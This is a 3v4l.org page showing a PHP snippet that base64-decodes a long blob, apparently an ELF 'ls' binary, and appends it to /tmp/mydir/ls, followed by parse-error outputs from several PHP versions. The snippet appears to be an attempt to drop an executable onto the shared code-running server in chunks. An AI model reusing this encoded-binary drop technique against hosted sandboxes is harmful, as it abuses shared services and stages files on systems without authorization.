3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $data="Z2V0cGdycABfX2xpYmNfc3RhcnRfbWFpbgBkaXJmZABzdHBjcHkAc3RyY29sbABfX292ZXJmbG93AGZwdXRzX3VubG9ja2VkAGZyZWUAX19wcm9nbmFtZQBfX3Byb2duYW1lX2Z1bGwAX19jeGFfYXRleGl0AF9lZGF0YQBfX2Jzc19zdGFydABfZW5kAEdMSUJDXzIuMgBBQ0xfMS4yAEFDTF8xLjAAR0xJQkNfMi4xLjMAR0xJQkNfMi4yLjMAR0xJQkNfMi40AEdMSUJDXzIuMQBHTElCQ18yLjMuNABHTElCQ18yLjAAR0xJQkNfMi4zAAAAAgADAAMAAwADAAQAAAADAAMAAwADAAMAAwADAAMAAwADAAMABQAFAAMAAwADAAMAAwADAAMABgADAAMAAAADAAMAAwADAAcAAwADAAgAAwAJAAMAAwAJAAMAAwAKAAMAAwADAAMAAAAJAAQAAAADAAUAAwADAAAAAwADAAMAAwADAAMAAwADAAMAAwADAAgABQAEAAUAAwADAAMAAwALAAMAAwADAAAACQAAAAUACQAEAAwAAwADAAAAAwADAAMACQAJAAMAAwADAAMAAgADAAIAAwAEAAEAAQADAAMAAwADAAMAAwABAAEAAwADAAEAAQADAAMAAAABAAEAlgAAABAAAAAgAAAAEmlpDQAADABcBQAAAAAAAAEAAgCvAAAAEAAAADAAAABSJIIFAAALAGYFAAAQAAAAUCSCBQAACABuBQAAAAAAAAEACAD1AAAAEAAAAAAAAABzH2kJAAAKAHYFAAAQAAAAEmlpDQAACQBcBQAAEAAAAHMaaQkAAAcAggUAABAAAAAUaWkNAAAGAI4FAAAQAAAAEWlpDQAABQCYBQAAEAAAAHQZaQkAAAQAogUAABAAAAAQaWkNAAADAK4FAAAQAAAAE2lpDQAAAgC4BQAAAAAAAPgfBggGNwAA4CIGCAVvAADkIgYIBXAAAAAjBggFcgAACCMGCAV6AAAgIwYIBW4AACQjBggFewAADCAGCAcBAAAQIAYIBwIAABQgBggHAwAAGCA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Ai4P4////hcB0BeiFAwAAg8QIW8P/NQQgBgj/JQggBggAAAAA/yUMIAYIaAAAAADp4P////8lECAGCGgIAAAA6dD/////JRQgBghoEAAAAOnA/////yUYIAYIaBgAAADpsP////8lHCAGCGggAAAA6aD/////JSAgBghoKAAAAOmQ/////yUkIAYIaDAAAADpgP////8lKCAGCGg4AAAA6XD/////JSwgBghoQAAAAOlg/////yUwIAYIaEgAAADpUP////8lNCAGCGhQAAAA6UD/////JTggBghoWAAAAOkw/////yU8IAYIaGAAAADpIP////8lQCAGCGhoAAAA6RD/////JUQgBghocAAAAOkA/////yVIIAYIaHgAAADp8P7///8lTCAGCGiAAAAA6eD+////JVAgBghoiAAAAOnQ/v///yVUIAYIaJAAAADpwP7///8lWCAGCGiYAAAA6bD+////JVwgBghooAAAAOmg/v///yVgIAYIaKgAAADpkP7///8lZCAGCGiwAAAA6YD+////JWggBghouAAAAOlw/v///yVsIAYIaMAAAADpYP7///8lcCAGCGjIAAAA6VD+////JXQgBgho0AAAAOlA/v///yV4IAYIaNgAAADpMP7///8lfCAGCGjgAAAA6SD+////JYAgBgho6AAAAOkQ/v///yWEIAYIaPAAAADpAP7///8liCAGCGj4AAAA6fD9////JYwgBghoAAEAAOng/f///yWQIAYIaAgBAADp0P3///8llCAGCGgQAQAA6cD9////JZggBghoGAEAAOmw/f///yWcIAYIaCABAADpoP3///8loCAGCGgoAQAA6ZD9////JaQgBghoMAEAAOmA/f///yWoIAYIaDgBAADpcP3///8lrCAGCGhAAQAA6WD9////JbAgBghoSAEAAOlQ/f///yW0IAYIaFABAADpQP3///8luCAGCGhYAQAA6TD9////JbwgBghoYAEAAOkg/f///yXAIAYIaGgBAADpEP3///8lxCAGCGhwAQAA6QD9////JcggBghoeAEAAOnw/P///yXMIAYIaIABAADp4Pz///8l0CAGCGiIAQAA6dD8////JdQgBghokAEAAOnA/P///yXYIAYIaJgBAADpsPz///8l3CAGCGigAQAA6aD8////JeAgBghoqAEAAOmQ/P///yXkIAYIaLABAADpgPz///8l6CAGCGi4AQAA6XD8////JewgBghowAEAAOlg/P///yXwIAYIaMgBAADpUPz///8l9CAGCGjQAQAA6UD8////JfggBgho2AEAAOkw/P///yX8IAYIaOABAADpIPz///8lACEGCGjoAQAA6RD8////JQQhBgho8AEAAOkA/P///yUIIQYIaPgBAADp8Pv///8lDCEGCGgAAgAA6eD7////JRAhBghoCAIAAOnQ+////yUUIQYIaBACAADpwPv///8lGCEGCGgYAgAA6bD7////JRwhBghoIAIAAOmg+////yUgIQYIaCgCAADpkPv///8lJCEGCGgwAgAA6YD7////JSghBghoOAIAAOlw+////yUsIQYIaEACAADpYPv///8lMCEGCGhIAgAA6VD7////JTQhBghoUAIAAOlA+////yU4IQYIaFgCAADpMPv///8lPCEGCGhgAgAA6SD7////JUAhBghoaAIAAOkQ+////yVEIQYIaHACAADpAPv///8lSCEGCGh4AgAA6fD6////JUwhBghogAIAAOng+v///yVQIQYIaIgCAADp0Pr///8lVCEGCGiQAgAA6cD6////JVghBghomAIAAOmw+v///yVcIQYIaKACAADpoPr///8lYCEGCGioAgAA6ZD6////JWQhBghosAIAAOmA+v///yVoIQYIaLgCAADpcPr///8lbCEGCGjAAgAA6WD6////JXAhBghoyAIAAOlQ+v///yV0IQYIaNACAADpQPr///8leCEGCGjYAgAA6TD6////JXwhBgho4AIAAOkg+v///yWAIQYIaOgCAADpEPr///8lhCEGCGjwAgAA6QD6////JYghBgho+AIAAOnw+f///yWMIQYIaAADAADp4Pn///8lkCEGCGgIAwAA6dD5////JZQhBghoEAMAAOnA+f///yWYIQYIaBgDAADpsPn///8lnCEGCGggAwAA6aD5////JaAhBghoKAMAAOmQ+f///yWkIQYIaDADAADpgPn///8lqCEGCGg4AwAA6XD5////JawhBghoQAMAAOlg+f///yWwIQYIaEgDAADpUPn//4PsHMdEJAwgtAUIx0QkCC4OAADHRCQEC6IFCMcEJLi0BQjomf///2aQZpBmkGaQkFWJ5VdWU4Pk8IHsAAQAAItFDGWLFRQAAACJlCT8AwAAMdKJRCRIiwCJBCTocLcAAMdEJATl3AUIxwQkBgAAAOjc/f//x0QkBPSiBQjHBCTYogUI6Ij+///HBCTYogUI6Nz6///HBCRwHQUIxwXMIgYIAgAAAOgWBQEAocAiBgjHBUgjBggAAAAAxgVMIwYIAccFUCMGCAAAAACD+ALHBVQjBggAAACAxwVYIwYI/////8YF5CQGCAAPhIwJAACD+AN0MYPoAXQF6EP+///HBCQBAAAA6Cf+//+FwA+EJhAAAMcFYCMGCAIAAADGBeQkBggB6x7HRCQEBQAAAMcEJAAAAADHBWAjBggAAAAA6C7EAADHBCQGowUIxwXoJAYIAAAAAMcFTCQGCAAAAADGBewkBggAxgXtJAYIAMYFUSQGCADHBQgkBggAAAAA;"$data=base64_decode($data);file_put_contents('/tmp/mydir/ls', $data,FILE_APPEND);?>
Output for hhvm-3.10.0

Process exited with code 153.
Output for 5.4.0 - 5.4.8
Parse error: syntax error, unexpected '$data' (T_VARIABLE) in /in/aiMnt on line 1
Process exited with code 255.
Output for 5.3.0 - 5.3.18
Parse error: syntax error, unexpected T_VARIABLE in /in/aiMnt on line 1
Process exited with code 255.